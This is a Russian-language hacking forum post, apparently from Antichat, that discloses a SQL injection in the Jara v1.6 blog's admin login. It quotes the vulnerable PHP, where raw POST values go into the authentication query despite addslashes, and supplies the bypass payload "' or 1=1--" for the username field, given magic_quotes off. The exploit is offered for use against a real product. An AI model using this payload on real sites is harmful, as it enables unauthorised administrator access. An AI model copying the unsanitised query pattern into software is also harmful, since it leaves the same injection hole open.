Тема: Blog Jara v1.6
Показать сообщение отдельно

  #3  
Старый 07.04.2010, 01:20
Strilo4ka
Reservists Of Antichat - Level 6
Регистрация: 05.04.2009
Сообщений: 231
Провел на форуме:
3363660

Репутация: 1148
По умолчанию

SQL inj - Класика жанра!
Входим в админку Jara v1.6

/login.php
PHP код:
require_once("include/jara_fns.php");
    if(isset(
$_POST["login_action"])) {
        try {
            
session_start();
            
$username $_POST["username"];
            
$password $_POST["password"];
            if(!
get_magic_quotes_gpc()) {
                
$username addslashes($username);
                
$password addslashes($password);
            }
            
$result jara_user_authenticate($_POST["username"], $_POST["password"]);
            if(
$result == false) {
                
jara_page_start("Login failure");
                echo 
"<p>\n";
                echo 
"\tYou have entered an invalid username or password.<br />\n";
                echo 
"\tPlease go back and try again.\n";
                echo 
"</p>";
                
jara_page_end();
                exit;
            }
            else {
                
header("Location: index.php");
            }
        }
        catch(
JaraDatabaseException $ex) {
            
jara_page_start("Login failure");... 
В функцию jara_user_authenticate вставляються $_POST["username"] и $_POST["password"].
Эта конструкция отдыхает:
PHP код:
...$username $_POST["username"];
            
$password $_POST["password"];
            if(!
get_magic_quotes_gpc()) {
                
$username addslashes($username);
                
$password addslashes($password);
            }... 

/include/auth_fns.php
PHP код:
...function jara_user_authenticate($username$password) {
        
$query "select * from jara_users where username = '$username' and password = SHA1('$password') limit 1";
        
$result jara_db_query($query);
        if(
$result->num_rows == 0) {
            return 
false;
        }
        else {
            
$row $result->fetch_assoc();
            
$_SESSION["jara_admin"] = $username;
            
$_SESSION["jara_permissions"] = array($row["permission_posts"], $row["permission_pages"], $row["permission_users"], $row["permission_upload"]);
            return 
true;
        }
    }... 
Условие:
mg=off

Результат:
<input type="text" id="username" name="username" width="20" />
в поле username ' or 1=1--[ ]

Последний раз редактировалось Strilo4ka; 07.04.2010 в 02:19..
 
Ответить с цитированием